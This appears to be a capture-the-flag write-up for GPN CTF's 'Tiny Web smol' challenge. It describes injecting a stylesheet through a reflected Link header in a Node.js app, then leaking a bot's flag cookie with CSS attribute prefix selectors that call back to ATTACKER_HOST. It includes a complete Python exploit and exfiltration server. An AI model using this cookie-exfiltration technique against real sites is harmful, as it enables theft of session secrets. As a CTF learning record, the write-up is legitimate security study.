Tiny Web smol
Tiny Web smol
Platform: GPN CTF | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-06-06 | Status: Solved Techniques: css_attribute_selector_exfiltration, firefox_response_link_stylesheet_abuse, link_header_stylesheet_injection, round_robin_bot_scheduling
Summary
Task: Tiny Node.js app reflects the request URL into a Link response header and the bot's flag cookie into body onload. Solution: break Link syntax to inject a Firefox-loaded stylesheet, then exfiltrate the reflected flag one character at a time with CSS prefix selectors and callback URLs.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
gpnctf| ID:20260606_gpnctf_tiny_web_smol - Tags: nodejs, firefox, header_injection, adminbot, css_exfiltration, link_header, cookie_reflection, browser_quirk
- Indicators: Node app reflects request URL into Link header with unescape(), secret cookie is reflected into an HTML attribute like body onload, CRLF header injection fails because runtime validates header characters, Firefox bot applies rel=stylesheet from response Link header, admin bot has a long cooldown so parallel instances improve exfil speed
- Source:
20260606_gpnctf_tiny_web_smol.md
Foothold
Vulnerability / Misconfiguration
- Css_attribute_selector_exfiltration
- Firefox_response_link_stylesheet_abuse
- Link_header_stylesheet_injection
- Round_robin_bot_scheduling
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- css_attribute_selector_exfiltration
- firefox_response_link_stylesheet_abuse
- link_header_stylesheet_injection
- round_robin_bot_scheduling
- Tags: nodejs, firefox, header_injection, adminbot, css_exfiltration, link_header, cookie_reflection, browser_quirk
Original Writeup
<details><summary>Click to expand original content</summary>Tiny Web smol — GPNCTF 2026
Description
No original task description was preserved in the local task directory.
We were given a very small Node.js web app behind an admin bot. The bot first visited http://localhost:8080, set document.cookie = "flag=" + FLAG, and then visited an attacker-controlled URL as long as it started with http://localhost:8080. The goal was to steal the flag from the bot.
Analysis
The application code was effectively this:
require('http').createServer((a,b)=>b.writeHead(200,{
'content-type':'text/html',
link:`<${unescape(a.url)}>;rel=preload;as=fetch`
})+b.end(`<body onload=fetch('${a.headers.cookie}')>`)).listen(8080)
This gives two attacker-controlled reflections:
- Request URL into
Linkresponse header
link: `<${unescape(a.url)}>;rel=preload;as=fetch`
- Bot cookie into HTML attribute
<body onload=fetch('flag=GPNCTF{...}')>
The obvious first idea was CRLF response splitting through the Link header, but Node.js rejects invalid header characters, so %0d%0a injection was dead.
The important observation was that full CRLF was not necessary. If we broke out of the <...> URL value inside the Link header, Firefox would parse a second link relation from the same header value. A payload shaped like this worked:
//ATTACKER_HOST/start.css>;rel=stylesheet,<x
After URL-encoding, we sent the bot to:
http://localhost:8080/%2f%2fATTACKER_HOST%2fstart.css%3e%3brel%3dstylesheet%2c%3cx
The resulting response header became:
Link: <///ATTACKER_HOST/start.css>;rel=stylesheet,<x>;rel=preload;as=fetch
Firefox fetched and applied that remote stylesheet to the localhost:8080 document. That was the key browser-specific behavior.
Once our CSS was applied, we could target the reflected onload attribute with prefix selectors:
body[onload^="fetch('flag=GPNCTF{C"]{
background-image:url("http://ATTACKER_HOST/c?x=GPNCTF%7BC");
}
When the prefix matched, Firefox requested our callback URL. That leaked one more character of the flag. Repeating this for the next position recovered the whole flag.
One operational problem remained: the bot slept for 30 seconds after each visit. To avoid waiting for a single instance, we used three separate challenge instances in round-robin. While one bot was sleeping, the next instance could leak the next character.
Solution
- Host an attacker CSS file and a callback endpoint.
- Build a
localhost:8080URL whose path decodes to//ATTACKER/start.css>;rel=stylesheet,<x. - Send that URL to
/bot/run?url=.... - Firefox loads our stylesheet from the injected
Linkheader. - Serve CSS rules for all candidate next characters using
body[onload^="fetch('flag=PREFIX..."]selectors. - The matching rule triggers
background-image:url(http://ATTACKER/c?x=...). - Append the leaked character and repeat.
- Use three instances in rotation to hide the 30-second sleep.
#!/usr/bin/env python3
import http.server
import socketserver
import threading
import time
import urllib.parse
import urllib.request
import sys
INSTANCES = sys.argv[1:]
PUBLIC_HOST = "ATTACKER_HOST:9000"
BIND_PORT = 9000
CHARSET = list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}")
KNOWN = "fetch('flag="
leaked = ""
learned_this_run = None
lock = threading.Lock()
class ReuseTCPServer(socketserver.ThreadingTCPServer):
allow_reuse_address = True
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
global learned_this_run, leaked
u = urllib.parse.urlparse(self.path)
if u.path == "/start.css":
with lock:
prefix = leaked
css = "\n".join(
f'body[onload^="{KNOWN}{prefix}{c}"]{{background-image:url("http://{PUBLIC_HOST}/c?x={urllib.parse.quote(c)}")}}'
for c in CHARSET
).encode()
self.send_response(200)
self.send_header("Content-Type", "text/css")
self.send_header("Cache-Control", "no-store")
self.send_header("Content-Length", str(len(css)))
self.end_headers()
self.wfile.write(css)
return
if u.path == "/c":
c = urllib.parse.parse_qs(u.query).get("x", [""])[0]
with lock:
if c and learned_this_run is None:
learned_this_run = c
self.send_response(200)
self.send_header("Content-Type", "image/gif")
self.send_header("Content-Length", "0")
self.end_headers()
return
body = b"ok"
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, format, *args):
return
def run_server():
with ReuseTCPServer(("0.0.0.0", BIND_PORT), Handler) as httpd:
httpd.serve_forever()
def build_target_url():
raw = f"//{PUBLIC_HOST}/start.css>;rel=stylesheet,<x"
enc = "".join("%%%02x" % ord(ch) for ch in raw)
return f"http://localhost:8080/{enc}"
def get(url, timeout=20):
req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
with urllib.request.urlopen(req, timeout=timeout) as r:
return r.read().decode(errors="replace")
def trigger_bot_async(instance, target_url):
url = f"{instance}/bot/run?url={urllib.parse.quote(target_url, safe='')}"
def _run():
try:
get(url, timeout=3)
except Exception:
pass
threading.Thread(target=_run, daemon=True).start()
def solve():
global leaked, learned_this_run
target_url = build_target_url()
ready = {inst: 0.0 for inst in INSTANCES}
while True:
inst = min(INSTANCES, key=lambda i: ready[i])
now = time.time()
if ready[inst] > now:
time.sleep(max(0.2, ready[inst] - now))
continue
with lock:
learned_this_run = None
trigger_bot_async(inst, target_url)
ready[inst] = time.time() + 31
got = None
for _ in range(12):
time.sleep(1)
with lock:
if learned_this_run is not None:
got = learned_this_run
break
if got is None:
continue
leaked += got
print(leaked, flush=True)
if got == "}":
print("FLAG:", leaked)
break
if __name__ == "__main__":
if not INSTANCES:
print("usage: solve.py <instance1> <instance2> ...")
sys.exit(1)
threading.Thread(target=run_server, daemon=True).start()
time.sleep(1)
solve()
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR